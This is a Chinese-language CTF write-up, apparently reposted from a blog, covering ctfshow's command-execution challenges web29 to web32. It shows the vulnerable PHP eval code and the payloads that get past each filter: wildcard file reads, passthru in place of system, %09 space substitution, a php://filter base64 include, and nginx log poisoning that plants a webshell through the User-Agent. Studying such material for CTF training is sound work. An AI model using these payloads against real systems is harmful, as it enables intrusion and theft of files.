当前位置: 首页 > news >正文

ctfshow——web入门——命令执行

web29

命令执行,需要严格的过滤
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
函数学习 int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )# #搜索subject与pattern给定的正则表达式的一个匹配。 eval:执行命令
分析代码: if(!preg_match("/flag/i", $c)) #要想进入if就要绕过正则匹配,即不能出现flag #传入的变量c会进入到eval函数执行。 #因此需要在绕过正则匹配的前提下找到并读取flag

1.先找到flag在哪:?c=system("ls");

#system是执行函数,也可以换成其他的执行函数:passthru(要查看源代码)、exec、shell_exec。 执行函数: string system( string $command[, int &$return_var] ) #本函数执行 command 参数所指定的命令,并且输出执行结果。 void passthru( string $command[, int &$return_var] ) #passthru() 函数是用来执行外部命令(command)的。 string exec( string $command[, array &$output[, int &$return_var]] ) #exec() 执行 command 参数所指定的命令。 string shell_exec( string $cmd) #本函数同执行操作符。

回显中有flag.php,因此选择读取flag.php

2.读取flag.php的内容:?c=system("cat fla?.php")

读取函数: cat:从第一行开始显示内容,并将所有内容输出 tac:从最后一行倒序显示内容,并将所有内容输出 more:根据窗口大小,一页一页地显示文件内容 less:根据窗口大小,显示文件内容,可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页 head:用于显示文件的头几行 tail:用于显示文件的尾几行 nl:类似于 cat -n,显示时输出行号 tailf:类似于 tail -f,实时显示文件尾部内容sort:读取并排序文件内容
通配符: * 匹配0个或多个字符 如:*.txt 匹配所有以txt为结尾的文件 ? 匹配单个字符 如:file?.txt 匹配file1.txt file2.txt file3.txt [] 匹配括号内的任意一个字符 如: file[1-3].txt 匹配file1.txt file2.txt [^] 匹配不在括号内的字符 如: file[^1-3].txt 匹配file4.txt file5.txt ! 表示取反 如:cat !(*.txt) 读取所有不是.txt结尾的文件

web30

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

本题多过滤了system和php,因此可以替换掉system,用通配符绕过php。

例:?c=passthru("cat fla*");

web31

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

发现没有限制passthru,限制了空格,用%09绕过(空格经过url编码会变成%09)

?c=passthru("tac%09fla*");

web32

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

本题把分号也过滤了,考虑
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

http://www.jsqmd.com/news/1303374/

相关文章:

  • ng-ant-admin开发实战:从零构建企业级数据表格与表单组件
  • 2026年寄快递哪个便宜?1kg、3kg、5kg、8kg、10kg、20kg、25kg、30kg、50kg实测价格对比 - 中凡科技
  • 2026年PR模版素材下载网站TOP5:从中文项目适配到商业授权全面评测
  • linux 库的理解与加载
  • SpringBoot+Vue健身房小程序开发实战与优化
  • 电脑商城管理系统开发指南:毕业设计实战解析
  • 仅限本周开放|AI艺术二维码生成器企业版内测通道(含NFT水印嵌入+动态跳转审计日志),前50名赠GDPR合规检测报告
  • 华硕笔记本终极性能控制:G-Helper完整指南与实战教程
  • OpenClaw v2026最新中文版下载,安装及使用教程
  • 2026粤港澳商务跨境包车服务盘点 4类需求适配指南 - 甄选测评馆
  • 如何用AI轻松制作专业演示文稿:PPT Master完整指南
  • 文科生如何用Python开启编程之旅:从英语到代码的认知迁移
  • 可视化修改视频字幕,2026年自动加字幕工作流,5款工具怎么选
  • 思源宋体完全指南:免费开源中文字体的终极选择
  • 2026年北京民间借贷律师避坑指南:卓航律师事务所值得推荐 - 本地品牌推荐
  • 抖店无货源一键下单工具选购全攻略|新手避坑+实操教程,用抖掌柜合规稳做店 - 电商分享
  • Kubernetes Network Policy实战:构建微服务白名单网络门禁系统
  • AI图片艺术化处理效能跃迁(2024最新Pipeline实测报告):PS插件级响应速度+92.6%语义保真度验证
  • AI Agent创业:技术、场景与商业闭环的深度解析
  • 5步构建本地语音智能体:Speech-to-Speech 终极实战指南
  • 2026 年 GEO 服务商选型参考:十家服务商能力梳理与评估维度
  • 转做智能分析Agent后,我花两个月才搞懂权限日志
  • 2026美国有哪些知名学术机构?留学生科研项目、院士身份和申请价值怎么判断才靠谱 - 环球新视野
  • 5分钟实现浏览器Cookie本地安全导出的技术指南
  • 2026年芜湖婚姻家事律师横向对比:王肇逵等5位律师谁更适合你? - 本地品牌推荐
  • 如何3分钟搞定Windows安卓连接难题?最新ADB Fastboot驱动一键安装指南
  • MiniMax H3 是什么?怎么用、免费体验方法、价格和实际效果整理
  • 飞书AI智能协同落地失败真相(2024企业实测数据曝光):37.6%团队因这1个配置错误导致AI协作失效
  • Claude design平替哪款更新快
  • Graph Engineering 是下一代 AI 架构,还是让你多烧 Token 的新话术?